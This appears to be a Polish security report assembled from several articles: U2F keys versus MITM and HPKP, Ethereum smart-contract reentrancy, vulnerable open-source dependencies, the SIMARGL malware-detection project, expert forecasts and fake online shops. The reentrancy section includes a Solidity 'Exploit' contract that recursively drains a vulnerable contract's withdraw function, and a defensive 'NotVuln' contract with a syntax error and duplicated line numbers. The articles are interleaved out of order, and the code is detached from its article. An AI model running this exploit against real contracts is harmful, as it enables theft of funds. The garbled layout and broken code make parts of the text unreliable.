podpisaniu przez klucz prywatny z U2F losowego 
ciągu wysłanego z serwera usługi wraz z zapisanym 
identyfikatorem. Serwer weryfikuje podpis za pomocą 
zapisanego w trakcie rejestracji klucza publicznego. 
Klucz odpowiada tylko na żądania podpisu pocho-
dzącego od zapisanych w nim usług i unikalnego 
identyfikatora. Implementacja po stronie przeglądarki 
U2F działa w oparciu o wywołania funkcji JavaScript. 
Interfejsem do kluczy U2F jest USB, NFC a także 
Bluetooth.

 

Klucze U2F działają zatem w warstwie aplikacji 
webowej (wywołania JavaScript), po wcześniejszym 
poprawnym nawiązaniu komunikacji TLS (Transport 
Layer Security) i uwierzytelnieniu hasłem. To już wskazuje, 
że przeprowadzenie ataku MITM (Man In The Middle) 
na sesję HTTPS (Hypertext Transfer Protocol Secure), 
w której wykorzystuje się logowanie dwuskładnikowe 
(2FA) oparte o U2F, nie różni się zasadniczo od tego, 
w którym nie używamy klucza U2F. Ograniczeniem 
dla tego ataku jest prawidłowo nawiązany kanał HTTPS 
(zielona kłódka), co przy instalacji w przeglądarce lub 
systemie zaufanego certyfikatu urzędu, np. z Burp 
Suite, może być spełnione. Podsumowując U2F 
wprowadza dodatkowy czynnik w uwierzytelnianiu, 
ale nie ogranicza przechwytywania ruchu w otwartej sesji 
użytkownika – nie zapewnia poufności, zarówno podczas 
fazy uwierzytelniania do usługi webowej, jak i samego 
korzystania z niej. 

W twierdzeniu o zabezpieczaniu połączenia w przypadku 
phishingu lub innych ataków typu SSLStrip, jest dużo 
prawdy. Wynika to z wymagań do działania w przeglądarce 
i wywołania funkcji JavaScript związanych z U2F. Klucz U2F 
powiązany jest z nazwą domenową (FQDN) hosta pytającego 
o uwierzytelnienie. Zatem klucz generowany podczas jedno-
krotnego rejestrowana (registration phase) dla accounts.
google.com, będzie dostępny tylko dla uwierzytelniania 
(authentication phase) w tej domenie. Z przypadkowymi 
(typosquatting) lub celowymi literówkami stosowanymi w 
phishingu, klucz ten nie będzie działać, jednak nadal może 
nastąpić skuteczne wyłudzenie loginu/hasła. 

Po drugie, sesja TLS musi być nawiązana bez ostrzeżeń 
(zielona kłódka). Dla połączeń nieszyfrowanych (HTTP) 
klucz U2F nie zadziała. Powyższe zabezpieczenia 
ograniczają obszar ataku, jednak w przypadku komputera 
w przysłowiowej kawiarence internetowej lub po skłonieniu 
użytkownika do zainstalowania certyfikatu urzędu CA 
kontrolowanego przez atakującego, nie zapewnią 
bezpieczeństwa. Wykradzione poświadczenia  będą mogły 
być wykorzystane w ograniczonym zakresie (nie będzie 
możliwe obejście weryfikacji dwuetapowej), ale jeśli to 
samo hasło było stosowane w innych serwisach, 
to problem pozostaje.

Problemem dla bezpieczeństwa rozwiązania opartego 
o U2F jest możliwość przeprowadzenia ataku MITM. 
Wydawać się może, że ataki MITM można wyeliminować 
przez poprawne wdrożenie mechanizmu HPKP (HTTP 
Public Key Pinning)[4]. Czy można jednak skutecznie 
ograniczyć te ataki tylko w oparciu o nagłówki HPKP? 
Stosowanie przypinania certyfikatów (certificate pinning) 
w HTTPS opartych o ten mechanizm jest niestety 
skuteczne tylko w pewnych przypadkach ataku MITM.  
Chodzi o ataki na HTTPS z wykorzystaniem wydanego 
niepoprawnie (nie przez właściciela domeny/serwera) 
certyfikatu u innego globalnie zaufanego dostawcy 
certyfikatów (posiadającego akredytację WebTrust 
i wpisanego do systemowych magazynów zaufanych 
certyfikatów przeglądarek/systemów) lub zgodę przez 
użytkownika na wykorzystanie niezaufanego certyfikatu 
witryny internetowej. Jednak jest to mechanizm 

W kontrakcji Ethery reprezentowane są jako najmniejsza 
możliwa jednostka czyli wei – 1 Ether to 1018 wei.

Kontrakt ten posiada dwie funkcje przyjmujące płatności 
(linie 17 i 20). Funkcja „deposit” przyjmuje początkowe 
Ethery, aby móc je wysłać do podatnego kontraktu – wyko-
nuje się to w funkcji „send”. Następnie atakujący wysyła 
ponownie środki do swojego kontraktu (exploita), aby wy-
wołać funkcje rezerwową obsługującą płatności (linia 20). 
Od teraz rozpoczyna się rekurencyjne wywołanie funkcji 
„withdraw” kontraktu „Vulnerable”, która wypłacając 
środki wchodzi ponownie do kontraktu atakującego. 

Metody obrony

Podstawową metodą obrony jest przede wszystkim 
aktualizowanie salda przed wykonaniem transferu środków, 
wykorzystanie muteksów (tzn. semaforów binarnych, 
w których kod wykonuje się atomowo – czyli tylko raz 
w danym czasie) lub korzystanie z bardziej bezpiecznych 
funkcji transferu środków. Poniższy przykład zastosowuje 
wszystkie z tych 3 możliwości, choć wystarczyłoby 
tu zastosować tylko jedną z nich.

Podsumowanie

Powyższy przykład pokazuje jedynie jedną z wielu możli-
wych podatności. Kontrakty jako „programy” trawione 
są tymi samymi problemami z bezpieczeństwem co zwykłe 
aplikacje. Może w nich dochodzić do przekroczenia zakresu 
liczbowego, błędów logicznych, podatności związanych 
liczbami zmiennoprzecinkowymi (lub w kodzie, który imple-
mentuje niejako te liczby, ponieważ język Solidity nie wspiera 
liczb zmiennoprzecinkowych), w sieci zaobserwowano 
nawet istnienie „przynęt” na atakujących – są to kontrakty 
pozornie podatne, ale przy próbie exploitacji takiego 
kontraktu dochodzi do utraty środków.

Jak widać wraz z nowymi funkcjonalnościami w świecie 
kryptowalut, powstają kolejne możliwości dla atakujących. 
Osoby tworzące kontrakty w Ethereum muszą brać 
pod uwagę możliwość wystąpienia krytycznego błędu 
bezpieczeństwa, aby odpowiednio zabezpieczyć kod i 
środki. Przykład najpopularniejszego ataku – na kontrakt 
The DAO - pokazuje, czym może skończyć się brak uwagi 
w tym aspekcie.

Adam Pichlak

1  pragma solidity ^0.5.0;
2
3  contract NotVuln{
4
5     address public owner;
6     mapping(address => uint256) balances;
7     bool mutex = false;
8
9     constructor() public {
10        owner = msg.sender;
11    }
12    
13    function () external payable{
14        deposit();
15    }
15   
16    function deposit() public payable {
17       require(msg.value > 0);
18       balances[msg.sender] += msg.value;
19    }
20   
21    function withdraw(uint256 amount) public {
22        require(amount <= balances[msg.sender]);
23        require((!mutex);
24        mutex = true;
24   balances[msg.sender] -= amount;
25        msg.sender.transfer(amount);
26        mutex = false;
27    }
28 }

1  pragma solidity ^0.5.0;
2  import “Vulnerable.sol”;
3  
4  contract Exploit{
5      address public owner;
6        Vulnerable public v;
7
8      constructor() public {
9          owner = msg.sender;
10    v = Vulnerable(0xXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX);
11    }
12    
13     function send() public {
14        address(v).call.value(1000000000000000000)(“”);
15    }
16   
17     function deposit() external payable {
18    }       
19       
20    function() external payable {
21        require(msg.sender.balance >= 1000000000000000000);
22   v.withdraw(1000000000000000000);
23    }
24 }

USB Device Browser Server
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Uwierzytelnienie U2F. Źródło: http://usbauth.com/
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nieskuteczny w przypadku dodania własnego certyfikatu 
zaufanego urzędu do osobistego magazynu certyfikatów. 
Specyfikacja HPKP zostawiła taką lukę [5], w celu 
umożliwienia inspekcji ruchu HTTPS wewnątrz organizacji 
przez mechanizmy bezpieczeństwa (TLS Inspection). 
W tym celu urządzenie brzegowe (PROXY) terminuje 
ruch TLS, następnie sprawdza jego zawartość 
i ponownie szyfruje ruch do klienta. 

Wracając do kluczy U2F, droższe ich modele mają 
zintegrowane funkcje magazynu haseł, OTP i karty 
inteligentnej. W przypadku karty inteligentnej można 
stosować dwustronne uwierzytelnienie TLS, zapewaniające 
bezpieczny kanał end to end w trakcie nawiązywania 
połączenia, ale to już jest inny mechanizm, pracujący 
niezależnie od popularnych produktów FIDO i wymagający 
sterowników (np. do obsługi PKCS#11). Wykorzystanie 
tych mechanizmów wykracza poza ramy tego artykułu.

Osobną kwestię stanowi zagrożenie dla prywatności. 
Źle zaimplementowane klucze U2F mogą być 
identyfikowalne za pomocą zarówno kluczy publicznych, jak 
i na podstawie certyfikatów urządzenia. Przykładem takiego 
zagrożenia jest rejestracja tego samego klucza 
w kontekście różnych tożsamości, co może to ułatwić 
dostawcy je powiązać.  

Czy warto zatem stosować klucze U2F? Tak, ale istotna 
jest świadomość, że nie jest to rozwiązanie zabezpiecza-
jące przed wszystkimi rodzajami ataków. Stosowanie 
kluczy U2F znacznie podnosi poprzeczkę w przypadku 
przejmowania tożsamości w danym serwisie, nie zwalnia 
jednak ze stosowania zaleceń bezpieczeństwa 
odnoszących się m.in. do niestosowania tych samych 
haseł w różnych serwisach, weryfikacji prawidłowości 
połączenia HTTPS, czy wyjątkowo sceptycznego 
odnoszenia się do potrzeby instalacji zaufanych 
certyfikatów urzędów (CA). Warto także mieć zawsze 
alternatywny sposób dostępu do usługi (lub drugi 
skonfigurowany i zarejestrowany w danej usłudze 
klucz U2F), który zastąpi klucz podstawowy w razie 
jego zagubienia. 

Konrad Kamiński
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Diabeł tkwi w Open Source

Wykorzystanie rozwiązań o otwartym kodzie źródłowym
(ang. Open Source) wzrasta z roku na rok. Organizacje 
wykorzystują biblioteki, systemy operacyjne oraz aplikacje 
w coraz szerszym zakresie. Niewiele osób zdaje sobie 
sprawę, że w dużej części komercyjnych rozwiązań 
zawartość otwartego kodu (w stosunku do całej bazy 
kodu) wynosi nawet 76%. 

Obecnie wiele organizacji ma bardzo rozbudowane mecha-
nizmy weryfikujące bezpieczeństwo kodu źródłowego, który 
jest wytwarzany na potrzeby budowania oprogramowania. 
Na te mechanizmy składają się takie elementy jak: przegląd 
kodu, statyczne analizy, zestawy przygotowanych testów czy 
w końcu testy penetracyjne. Wszystko jest możliwe dzięki 
coraz to nowszym rozwiązaniom, które można w prosty 
sposób wykorzystać wewnątrz łańcucha dostarczania 
oprogramowania. Niestety nie można powiedzieć tego samego 
o weryfikowaniu bezpieczeństwa bibliotek, które pochodzą 
z zewnętrznych źródeł. Brak kontroli nad tym obszarem może 
doprowadzić do katastrofalnych efektów. Jednym z przykładów 
jest prawdopodobnie najbardziej znany przypadek wycieku 
danych w firmie Equifax. Wyciek dotyczył danych 143 mln 
użytkowników i był spowodowany krytyczną podatnością 
w bibliotece Apache Struts (CVE-2017-5638), która 
umożliwiała zdalne wykonanie kodu na serwerze. Od momentu 
opublikowania podatności do wykrycia włamania (ale jeszcze 
nie do zaktualizowania) minęło ponad 5 miesięcy. Jeszcze 
dzisiaj możliwe jest znalezienie serwisów, które korzystają 
z podatnej wersji wyżej wymienionej biblioteki.

Aby przedstawić skalę problemu postanowiliśmy przetestować 
kilkanaście najpopularniejszych projektów stworzonych 
w języku programowania JAVA, które są umieszczone w serwisie 
GitHub . Dodatkowym wymaganiem było to, aby projekt był 
aktywnie rozwijany (ostatnia zmiana nie później niż miesiąc 
od momentu wykonywania eksperymentu). Eksperyment 
dotyczył 15 wybranych repozytoriów kodu.

   

Z badanych repozytoriów kodu, aż w 80% znalezione 
zostały opublikowane podatności w bibliotekach, które 
są wykorzystywane w rozwiązaniu. Należy pamiętać, 
że nawet pobierana z zewnętrznego źródła biblioteka 
może zawierać odniesienia do innych, w wyniku czego 
tworzona jest cała mapa zależności. Najstarsza wykryta 
podatność, w aktywnie rozwijanym projekcie została 
opublikowana w 2013 roku i dotyczyła biblioteki 
‘XStream’ pozwalając na wykonywanie zdalnych ko-
mend w systemie operacyjnym. Jak widać 5 miesięcy 
na podniesienie wersji w przypadku wspomnianej 
wcześniej podatności w Apache Struts wygląda 
bardzo dobrze w porównaniu do niemal 7-letniego 
CVE-2013-7285. Najbardziej popularna podatność, 
została wykryta w komponencie ‘jackson-databind’ 
wykorzystywanym przez 30% badanych repozytoriów 
kodu. Podatność opisana jako CVE-2018-14 pozwala 
na zdalne wykonanie kodu poprzez błędy związane 
z deserializacją. Ciekawe, że biblioteką, która posiada 
najwięcej opublikowanych podatności jest ‘jackson-map-
per-asl’ w wersji 1.9.13. Pomimo, że nie jest ona rozwi-
jana od 2013 roku, to jest zawarta na ścieżce bardzo 
dużej ilości bibliotek. Podobne problemy można 
zaobserwować w wielu innych przypadkach, w których 
biblioteka, która nie jest potrzebna do wykonywania 
logiki biznesowej znajduje się na ścieżce. Jest to 
szczególnie niebezpieczne w przypadku wystąpienia 
błędów związanych z deserializacją, gdzie konkretna 
funkcjonalność nie musi być w żaden sposób wyko-
rzystywana, aby atakujący miał możliwość zdalnego 
wykonania kodu.

Biorąc pod uwagę rozmiar eksperymentu nie można 
mówić o trendach, ponieważ próbka jest zbyt mała. 
Jednak problem związany z bezpieczeństwem opro-
gramowania pobieranego z zewnętrznych źródeł 
istnieje. Programiści często bezkrytycznie dodają 
kolejne zależności do rozwijanych aplikacji, a procesy 
dostarczania oprogramowania nie weryfikują stanu 
bezpieczeństwa otwartego oprogramowania wykorzy-
stywanego przez budowany system. Są też pozytywy. 
Coraz więcej osób zajmujących się zarówno bezpie-
czeństwem, jak i rozwojem oprogramowania zauważa 
problem. Istnieją darmowe rozwiązania (oczywiście 
z otwartym kodem), które są już na tyle dojrzałymi 
projektami, że dorównują dokładnością swoim komer-
cyjnym odpowiednikom. Teraz wystarczy powiedzieć 
„sprawdzam” i wykorzystać odpowiednie narzędzia 
do weryfikacji bezpieczeństwa tworzonego 
oprogramowania.

Grzegorz Siewruk
 

SIMARGL – nowy projekt 
europejski z udziałem 
Orange Polska

W maju 2019 r., Orange Polska wraz z partnerami 
konsorcjum z 7 krajów europejskich  rozpoczęła realizację 
projektu badawczo-innowacyjnego SIMARGL (Secure 
Intelligent Methods for Advanced Recognition of Malware 
and Stegomalware), współfinansowanego przez Komisję 
Europejską w ramach Programu Horyzont 2020, zgodnie 
z Umową Grantową nr 833042.

 

Misją projektu SIMARGL jest zapewnienie zaawanso-
wanych, innowacyjnych rozwiązań do efektywnego 
wykrywania szkodliwego oprogramowania typu malware, 
ransomware, badware oraz wykrywania złośliwego 
kodu ukrytego w innych plikach, najczęściej multime-
dialnych, przy pomocy technik steganograficznych 
tzw. stegomalware. 

Projekt SIMARGL w ciągu 3 lat planuje dostarczyć 
zaawansowaną platformę technologiczną:

1. Ułatwiającą wykrywanie złośliwego oprogramowania, 
w szczególności pozwalającą na identyfikację trud-
nego do wykrycia stegomalware, czyli szkodliwego 
kodu (malware), którego obecność została ukryta przy 
pomocy technik lub narzędzi steganograficznych. 

2. Przeprowadzającą – w wyniku integracji szerokiej  
gamy komponentów i sond dostarczonych przez  
partnerów SIMARGL – kompleksową analizę 
złośliwego oprogramowania i tym samym oferującą  
zwiększone możliwości jego wykrywania.  

3. Opartą na algorytmach systemów uczących się (machi-
ne learning oraz deep learning), zaprojektowaną w ten 
sposób, aby była gotowa do bezpiecznego korzystania  
z niej i w prosty i zrozumiały, dla użytkowników końco-
wych, sposób wyjaśniała rezultaty działania zaimplmen- 
towanych na platformie zaawansowanych algorytmów.

 

CVE-2013-7285
Najstarsza podatność

Wykryta w 18%projektów

CVE-2018-14718
Najpopularniejsza podatność

Wykryta w 30%projektów

jackson-mapper-asl:1.9.13
Najbardziej podatna biblioteka

Posiada 40 opublikowanych podatności

80%
Posiada podatności

Repozytoria kodu

Logotyp projektu SIMARGL

1.

2.

3.
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W skład konsorcjum SIMARGL wchodzi 14 partnerów 
z 7 krajów Unii Europejskiej, którzy specjalizują się 
w zwalczaniu szkodliwego oprogramowania oraz 
technikach ukrywania informacji. Wśród partnerów 
konsorcjum są jednostki naukowo-badawcze 
m.in. z Polski Politechnika Warszawska oraz ITTI sp. 
z o.o. oraz europejscy dostawcy usług i rozwiązań 
cyberbezpieczeństwa. Orange Polska, przy testowaniu 
wypracowywanych rozwiązań, współpracuje blisko 
m.in. z Airbus Cybersecurity oraz Thales.

 

Adrian Marzecki

Więcej informacji o projekcie będzie można znaleźć 
na stronie www.simargl.eu
 

Cieszy to, że coraz więcej firm chce edukować 
swoich klientów w zakresie bezpieczeństwa 
i z podniesionym czołem opisuje ataki 
i incydenty dotyczące bezpieczeństwa 
z jakimi przyszło im się zmierzyć. 

„

Ogólna koncepcja projektu SIMARGL

Kraje, z których pochodzą partnerzy konsorcjum 
SIMARGL

Rozwój:
Detekcja anomalii
Techniki ukrywania informacji
Machine learning oraz deep learning
Wykrywanie ataków typu phishing 

Analiza
cyberzagrożeń

i ich 
ekspercka

ocena 
oraz

inwentaryzacja
dostępnych
rozwiązań

Rozwiązanie
SIMARGL

(tzw. Toolkit)

Użytkownicy
końcowi:
CERT/CSIRT
Administracja 
publiczna
Organy 
ścigania

Attack Prophecy/AIsafe DNS (Pluribus)
Orion Malware (Airbus Cybersecurity)
Sondy i Platforma Integracyjna Thales
WAF i IP ADS (ITTI)
RED-Alert (SIVECO)

Dostępne rozwiązania

Aspekty prawne, społeczne i socjologiczne
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Partnerzy CERT Orange Polska

Od ponad 16 lat testuje bezpieczeństwo IT. 
Jest autorem ponad stu prelekcji na branżowych 
konferencjach m.in. Confidence, SECURE, Semafor 
itd. Specjalista zajmujący się testami penetracyj-
nymi w firmie https://logicaltrust.net świadczącej 
kompleksowe usługi w obszarze bezpieczeństwa 
informacji.

„Jedyną stałą rzeczą jest zmiana.” – Heraklit z Efezu.
Co roku cyberprzestępcy wymyślają nowe techniki 
przełamywania zabezpieczeń oraz kolejne sposoby 
na oszukanie użytkowników internetu. Mimo 
nacisku na zwiększanie świadomości oraz nowym 
technologicznym metodom obrony, wciąż rośnie 
skala i liczba ofiar w cyberprzestrzeni. Sądzę, że ten 
trend w najbliższych latach pozostanie bez zmian.

Mamy dziś do czynienia z zespołami atakujących. 
Po przejęciu danych firmowych, najpierw oferują 
w sieci sprzedaż cennych informacji lub dostęp do 
infrastruktury firmy, następnie szyfrują dyski, żądając 
okupu za odzyskanie danych, by na końcu zagrozić, 
że opublikują, dostępne bezpłatnie dane firmowe 
w sieci, jeśli nie zostaną spełnione ich oczekiwania 
finansowe. Dodatkowo przypominają ofierze 
(paradoksalnie!), że GDPR srogo karze za wycieki 
danych osobowych i lepiej po cichu zapłacić okup. 
To co dziś napędza nowoczesnych przestępców to 
zysk i warto przy budowaniu strategii obrony swojej 
firmy pamiętać o tej finansowej motywacji atakujących.

Kilkanaście lat temu mawialiśmy, że „bezpieczeństwo 
to ciągły proces”. Dziś już samo procesowe podejście 
nie wystarczy. W tak szybko zmieniającym się świecie 
nowych technologii, nie zapominajmy, że pomysły na 
ochronę zasobów, które mają kilka lat, dziś mogą być 
nieaktualne. Aby skuteczniej chronić swoje zasoby 
musimy działać szybciej, efektywniej i wykorzystując 
wspólne podejście do wymiany informacji. Wtedy 
będziemy mieli większe szanse, by częściej wygrywać 
w tym wyścigu.

Szef zespołu bezpieczeństwa niebezpiecznik.pl, 
firmy zajmującej się włamywaniem na serwery 
innych firm za ich zgodą, w celu namierzenia 
błędów bezpieczeństwa w ich infrastrukturze 
teleinformatycznej, zanim zrobią to prawdziwi 
włamywacze.

Kolejny rok, te same problemy... Chociaż bezpieczeństwo 
staje się coraz bardziej „popularne” i słowo security 
zaczyna pojawiać się obok tak modnych buzzwordów 
jak AI, Blockchain, ML, to analiza ataków jakie miały 
miejsce w minionym roku nie pozostawia żadnych złudzeń. 
Wciąż numerem jeden w Polsce jest stara dobrze znana 
socjotechnika w tandemie z phishingiem, wariant 
z „SMS-em na dopłatę” i fałszywą bramką pośrednika 
płatności. Co było do przewidzenia, wprowadzenie 
PSD II wcale nie zatrzymało kilku prężnie działających 
na polskim rynku grup trudniących się tymi atakami. 
Dzień w dzień zalewają Polaków złośliwymi SMS-ami. 
Obawiam się, że w 2020 r. pod tym kątem nic się nie 
zmieni. W końcu patcha na ludzką naiwność wciąż nie 
wynaleziono, a coraz powszechniejszy dostęp do internetu, 
wszechobecny pośpiech i częstsza praca na małych 
ekranach sprawiają, że ludzie są łatwymi ofiarami. Nadzieją 
dla ofiar są zmiany w podejściu wymiaru sprawiedliwości 
do definicji „rażącego zaniedbania” i kolejne wyroki 
nakazujące bankom zwrócenie wykradzionych (ze względu 
na „nieuwagę” ofiary) pieniędzy (por. https://niebezpiecznik.
pl/post/sad-nabranie-sie-na-phishing-nie-jest-razacym-
niedbalstwem-bank-ma-oddac-pieniadze/).

Ale nie tylko „przeciętny Kowalski” wciąż popełnia 
te same błędy i łapie się na znane od lat ataki. Miniony 
rok pokazał, że dalej nie wszystkie firmy wiedzą jak 
reagować na infekcje ransomwarem, a spora część 
z ofiar nie miała kopii bezpieczeństwa kluczowych danych. 
Wciąż. Pomimo tylu głośnych w minionych latach 
przypadków ataków.

Cieszy to, że coraz więcej firm chce edukować swoich 
klientów w zakresie bezpieczeństwa i z podniesionym 
czołem opisuje ataki i incydenty dotyczące bezpieczeństwa 
z jakimi przyszło im się zmierzyć. Choć nie wszystkim 
to jeszcze dobrze wychodzi. W firmowych komunikatach 
nierzadko brakuje transparentności i zwykłego przepraszam, 
a udzielane porady są często zupełnie bez sensu 

Borys 
Łącki

Piotr 
Konieczny

lub wręcz szkodliwe. Mimo wszystko opisywanie 
incydentów i uświadamianie klientów to postawa godna 
do naśladowania i wierzę, że z czasem będzie tylko lepiej. 
W minionych latach obudowaliśmy się bezpiecznym 
sprzętem i bezpiecznym oprogramowaniem. 
Pora na „dobezpieczenie” ludzkich umysłów.

Konsultant w firmie Securitum. Posiada dziesię-
cioletnie doświadczenie w zagadnieniach związanych 
z technicznym bezpieczeństwem IT. Realizuje 
testy penetracyjne oraz audyty bezpieczeństwa. 
Prowadzi szkolenia z zakresu bezpieczeństwa. 
Posiadacz certyfikatów branżowych: CISSP, CEH, 
CTT+. Założyciel serwisu sekurak.pl. 

Rok temu pisałem w Raporcie o wyciekach, kierowanym 
ransomware oraz poważnych problemach w świecie 
bezpieczeństwa smartfonów.

W 2019 roku w znacznej mierze obawy te się potwierdziły. 
haveibeenpwned.com, popularna baza agregująca 
„wycieki”, zawiera już niemal 10 miliardów unikalnych, 
„wyciekniętych” kont. W zasadzie można powiedzieć, 
że dane każdego z nas już gdzieś „wyciekły”. Należy 
więc sobie zadawać pytanie, co robić, aby nasze dane 
tak łatwo dostępne dla cyberprzestępców nie mogły 
zostać równie łatwo wykorzystane. 

Z pomocą przychodzą tu m.in. managery haseł, 
dwuczynnikowe uwierzytelnienie czy nowe podejście 
do złożoności samych haseł. Wymóg budowania 
bezpiecznego hasła z 8 losowych znaków, zawierających 
małe, duże litery, czy inne emoji powoli staje się 
przeżytkiem – nowsze badania wskazują raczej na 
odpowiednią długość hasła. Coraz bardziej dyskusyjna 
jest również kwestia okresowego wymuszania zmiany 
hasła (sporo badań wskazuje, że takie czynności raczej 
mogą hasło osłabić). Silne hasło to teraz raczej: 
raportorangeczytamcalkiemregularnie, 
niż: Katarzyna2020!

A co z ransomware? Cały proceder staje się coraz 
ciekawszy i wyrafinowany, zmierza bowiem ku modelowi 
polegającemu na pełnym ataku wymierzonym 
w konkretne organizacje (mające środki finansowe 
pozwalające na zapłacenie okupu). Następuje tu również 
ręczna analiza struktury sieci (w tym podatności), 
skutkująca jej przejęciem połączonym z kradzieżą danych. 

Kropką nad i jest tu podwójne żądanie okupu 
– za deszyfrację danych oraz za nieujawnianie 
wykradzionych informacji poufnych. Cóż…, niejedna 
firma wolałaby sytuację, trwałej utraty danych 
od ich ujawnienia…

Warto też odwiedzić obszar świata mobilnego. Tutaj 
nie zaobserwowaliśmy pandemii, jednak nie znaczy to, 
że wszyscy mogą spać spokojnie. W 2019 roku głośno 
było o obecności w Polsce Pegasusa. Czy można 
beż żadnych wstępnych wymogów zainfekować oraz 
szpiegować dowolny telefon? 2019 rok przyniósł kilka 
interesujących podatności: luka w WhatsApp pozwalająca 
na infekcję telefonu ofiary zaledwie poprzez wykonanie 
do niej „odpowiedniej” rozmowy, podatność w Signalu 
umożliwiająca „ciche” zmuszenie ofiary do odebrania 
rozmowy, przejęcie iPhone’a za pomocą „odpowiedniej” 
wiadomości iMessage. Warto jednocześnie pamiętać, 
że wspominane przykłady to tylko czubek góry lodowej. 
Niepublicznych exploitów jest mnóstwo – wystarczy 
je kupić i… uzbroić.

Są też nowe zjawiska, warte odnotowania. W 2019 
roku na konferencji BlackHat w prezentacji: „Infiltrating 
Corporate Intranet Like NSA – Preauth RCE on 
Leading SSL VPNs” pokazano, jak bez uwierzytelnienia 
można zaatakować/przejąć serwery VPN trzech znanych 
producentów. W jednym z omówionych przypadków 
pokazano atak na infrastrukturę Twittera (łącznie 
z ominięciem dwuczynnikowego uwierzytelnienia). 
Od strony technicznej klasy podatności wykorzystane 
w zaprezentowanych atakach są znane od nawet 
kilkunastu lat (choć ich znalezienie na pewno nie było 
łatwe). Można powiedzieć, że czekały na odkrycie. 
Ile jeszcze takich „odkryć” nas czeka? A może należałoby 
zapytać, kiedy zostanie odkryte, że „odkrycie” miało 
miejsce parę lat temu, tylko skutki tego faktu objawiły 
się z pewnym opóźnieniem…

Czy w roku 2020 za przegrane będzie można uznać 
organizacje, które nie zaczęły jeszcze uczyć się „cyber”? 
A może w każdej firmie wiedza o tym, jak odeprzeć ataki, 
będzie tak powszechna i wymagana niczym apteczka 
pierwszej pomocy? Jednak, jeśli już w tym roku będziemy 
mieli do czynienia z globalnym zagrożeniem w świecie 
cyber – to trzeba mieć świadomość, że aspiryna ze zwykłej 
apteczki może nie wystarczyć na taką cyberpandemię…

Michał 
Sajdak
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Prawnik specjalizujący się w prawie nowych 
technologii. Wspólnik kancelarii adwokackiej 
Gatner&Gatner z Katowic. Założyciel serwisu 
internetowego legalniewsieci.pl

Zakupy w sieci to obecnie codzienna praktyka. 
Jednak szukając odpowiedniego produktu, klient 
bardzo często traci orientację, związaną ze sklepem 
w którym kupuje.
 
Reklamy, pamiętając wyniki poszukiwania, często 
przenoszą go do sklepu, którego kompletnie nie zna 
i nie może zweryfikować. Najważniejszym elementem 
jest cena, która zawsze przyciąga. Właśnie ten schemat 
często powoduje, że klienci wpadają w sidła fałszywego 
sklepu internetowego!

Każdego dnia za pośrednictwem legalniewsieci.pl 
informujemy o zagrożeniach w sieci, a w szczególności 
o fałszywych sklepach. Lista podejrzanych, do której 
średnio każdego dnia jest dopisywanych 5 sklepów, 
liczy już ponad 600. Część z nich już nie działa, ale 
część z nich ma się naprawdę dobrze. 

Dlaczego fałszywych sklepów wciąż przybywa?

Fałszywy sklep to przede wszystkim bardzo dobre 
i łatwe źródło dochodu przestępców, którzy przez 
okres działania sklepu mogą się wzbogacić o znaczne 
sumy pieniędzy. Co najważniejsze, nie muszą się 
oni wykazać szczególną wiedzą techniczną (progra-
mistyczną), aby taki sklep stworzyć. Obecnie każdego 
dnia czytelnicy Legalniewsieci.pl zgłaszają średnio 
10 sklepów do audytu. Natomiast fałszywych sklepów 
przybywa każdego dnia, a w miejsce zamykanego 
pojawiają się dwa kolejne. Pomimo, że od 17 stycznia 
2020 r. obowiązuje Rozporządzenie Parlamentu 
Europejskiego i Rady (UE) dotyczące wzmocnionej 
współpracy w zakresie ochrony konsumentów, które 
umożliwia Urzędowi Ochrony Konkurencji i Konsumentów 
(dalej: UOKiK) blokowanie nieuczciwych sprzedawców, 
do tej pory tego rodzaju blokady jeszcze nie nastąpiły. 
Dlaczego? Przede wszystkim w przypadku fałszywego 
sklepu liczy się czas działania. Zdecydowanie dużo 
szybciej można opublikować informację ostrzegającą 
potencjalnych klientów danego sklepu, niż doprowadzić 
do jego blokady. Jednocześnie czas działania odgrywa 
tutaj najważniejszą rolę. Celem fałszywego sklepu nie 
są działania planowane na kilka miesięcy, ale maksy-
malnie kilka dni, a najwyżej tydzień. Zdecydowanie 

najczęstszym zjawiskiem jakie zaobserwowaliśmy jest 
uruchamianie fałszywych sklepów w piątek, co jest 
dodatkowo połączone z intensywną kampanią reklamową 
za pośrednictwem Google lub Facebooka. To pozwala 
na względny spokój i brak dużej ilości negatywnych 
ostrzeżeń, z uwagi na brak pełnej aktywności portali 
informacyjnych przez weekend. W dwa dni przestępcy 
chcą oszukać swoich klientów, a po wszystkim 
po prostu wyłączyć sklep i użyć go pod nową domeną.

Reklama na Facebooku lub baner na znanym 
serwisie.

Zdecydowanie głównym elementem, który powoduje, 
że fake sklepy są tak skuteczne jest ich płatna promocja. 
Klienci przeglądając Facebooka trafiają na reklamy 
i pod wpływem impulsu decydują się na zakup w sklepie, 
który pierwszy raz widzą. Natomiast elementem 
„wyłączającym” świadomość jest niższa cena produktu, 
którego wcześniej szukali. Dopiero po przelaniu pieniędzy, 
klienci weryfikują sklep i starają szybko naprawić 
swój błąd, co w wielu przypadkach jest już niemożliwe. 
Podobnie jest w przypadku porównywarek cenowych, 
gdzie klient zawsze odwiedza sklep, który oferuje 
najniższą cenę produktu. Dotyczy to także reklam 
banerowych pojawiających się na znanych serwisach 
ogłoszeniowych, które wynajmują powierzchnię dla 
Google (AdSense). Klient przekonany, że przeszedł 
do sklepu, który pojawiał się na Onet.pl, Wp.pl czy Interia.
pl ma poczucie, że jest on bezpieczny oraz wiarygodny. 
Całkowicie nie zdaje sobie sprawy, że banery te mają 
charakter płatnej reklamy, a fałszywy sklep nie ma nic 
wspólnego z tymi serwisami. 

Recepta?

Najlepszym rozwiązaniem, ponieważ nie wymaga 
aktywności klientów, jest blokowanie podejrzanych 
stron przez dostawców internetowych – tak jak ma 
to miejsce w przypadku użytkowników sieci Orange. 
W tym przypadku nie wejdą oni na stronę, która znalazła 
się na liście podejrzanych sklepów Legalniewsieci.pl, 
ponieważ zostaną automatycznie poinformowani 
o zagrożeniu za pośrednictwem CyberTarczy. Innym 
sposobem uniknięcia zagrożenia, który wymaga jednak 
aktywności użytkownika, jest wymiana informacji 
np. poprzez udział w grupie na Facebooku „Oszukani 
przez fałszywe e-sklepy”, która liczy już blisko 2 tysiące 
użytkowników, a każdego dnia powiększa się o blisko 
20 nowych.

Założyciel i prezes Fundacji Bezpieczna Cyberprzestrzeń 
oraz wiceprezes spółki ComCERT SA. W latach 2017-2018 
był doradcą Ministra Obrony Narodowej. Wcześniej 
związany z NASK, gdzie kierował zespołem CERT Polska. 
